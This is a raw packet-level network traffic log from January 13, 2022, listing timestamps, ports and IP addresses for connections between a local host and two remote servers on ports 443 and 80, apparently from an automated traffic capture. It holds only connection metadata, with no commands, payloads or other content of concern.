Jan 13, 2022 20:51:31.236552954 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236615896 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236635923 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236742973 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236754894 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236818075 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236826897 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236845970 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236900091 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236912966 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.236924887 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.236995935 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237000942 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237044096 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237091064 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237157106 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237168074 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237224102 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237234116 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237281084 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237287045 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237306118 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237339020 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237396955 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237426043 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237471104 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237524033 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237534046 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237555981 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237588882 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237592936 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237601995 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237642050 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237687111 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237703085 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237729073 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237751961 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237778902 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237781048 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237793922 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.237829924 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237889051 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.237972021 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.252540112 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.252623081 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.252692938 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.252724886 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.252738953 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.252779961 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.252789974 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.252815008 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.252846956 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.252871037 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.252886057 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.252917051 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.252944946 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.253109932 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.253156900 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.253201962 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.253211975 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.253248930 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.253268003 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.253496885 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.253544092 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.253587961 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.253598928 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.253640890 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.253669024 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255114079 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255196095 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255234957 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255248070 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255275965 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255307913 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255388021 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255439043 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255450964 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255501986 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255511045 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255563974 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255573988 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255593061 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255634069 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255652905 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255664110 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255697966 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255723953 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255793095 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255846977 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255861044 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255871058 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255903006 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255948067 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.255964041 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.255985022 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.256016016 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.256017923 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.256036043 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.256057978 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.256066084 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.264924049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.265007019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.265028000 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.265042067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.265089035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.265094995 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.265451908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.265491009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.265522957 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.265522957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.265547991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.265563011 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.273380041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.273421049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.273447037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.273469925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.273483992 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.273509979 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.276870012 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.276966095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277007103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277024031 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.277030945 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277061939 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.277632952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277668953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277693033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277712107 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.277719021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277741909 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.277901888 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277929068 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.277957916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.292378902 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292448997 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292521000 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.292542934 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292552948 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.292579889 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292592049 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292628050 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292638063 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292639017 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.292670965 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292685032 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.292706966 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.292757988 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292809010 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292821884 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.292831898 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.292876005 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.292953968 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293001890 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293021917 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.293030024 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293056965 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.293234110 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293281078 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293314934 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.293323040 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293355942 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.293409109 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293454885 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293468952 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.293478966 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293513060 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.293533087 CET	443	49846	162.159.129.233	192.168.2.5
Jan 13, 2022 20:51:31.293539047 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.293576956 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.295588970 CET	49846	443	192.168.2.5	162.159.129.233
Jan 13, 2022 20:51:31.320152998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.320218086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.320262909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.320295095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.320322990 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.320362091 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.320497036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.320543051 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.320574999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.320575953 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.320616007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.320646048 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.321053982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.321095943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.321137905 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.328068972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.328149080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.328200102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.328226089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.328258991 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.328303099 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.331650972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.331722021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.331792116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.375252962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.375299931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.375323057 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.375346899 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.375417948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.375468969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.375560999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.375581026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.375592947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.375638962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.375691891 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.376893044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.376918077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.376940012 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.376991034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.377012968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.377028942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.377051115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.377080917 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.377091885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.377098083 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.377118111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.377181053 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.377192020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.377218008 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.377239943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.384733915 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.384787083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.384813070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.384843111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.384865999 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.384943008 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.387120962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.387164116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.387248039 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.431600094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.431679964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.431720972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.431735039 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.431762934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.431768894 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.431809902 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.431852102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.431854010 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.431893110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.431931973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.431938887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.431972980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.432013035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.432018995 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.432053089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.432094097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.432121992 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.432200909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.432241917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.432255030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.433470011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.433557987 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.433581114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.433604002 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.433629990 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.433645010 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.433676958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.433752060 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.433772087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.439769983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.439824104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.439866066 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.439874887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.439918995 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.439944029 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.442028999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.442084074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.442150116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.489629984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.489718914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.489749908 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.489764929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.489808083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.489823103 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.489872932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.489928961 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.489929914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.489970922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490011930 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490025043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.490050077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490089893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490103960 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.490129948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490168095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490184069 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.490209103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490251064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490261078 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.490291119 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490331888 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490345955 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.490437984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490478992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490500927 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.490518093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490557909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.490571976 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.494554043 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.494613886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.494627953 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.494652987 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.494693041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.494702101 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.494981050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.495048046 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.495054007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.497812033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.497873068 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.497932911 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.553585052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.553627014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.553721905 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.554315090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.554366112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.554446936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.554445982 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.554476023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.554550886 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.555044889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555157900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555166006 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.555227995 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555313110 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.555318117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555356979 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555383921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555439949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555442095 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.555520058 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.555546045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555958033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555963993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.555988073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556018114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556092978 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.556108952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556169033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:31.556210995 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:31.556226969 CET	80	49845	45.135.233.182	192.168.2.5
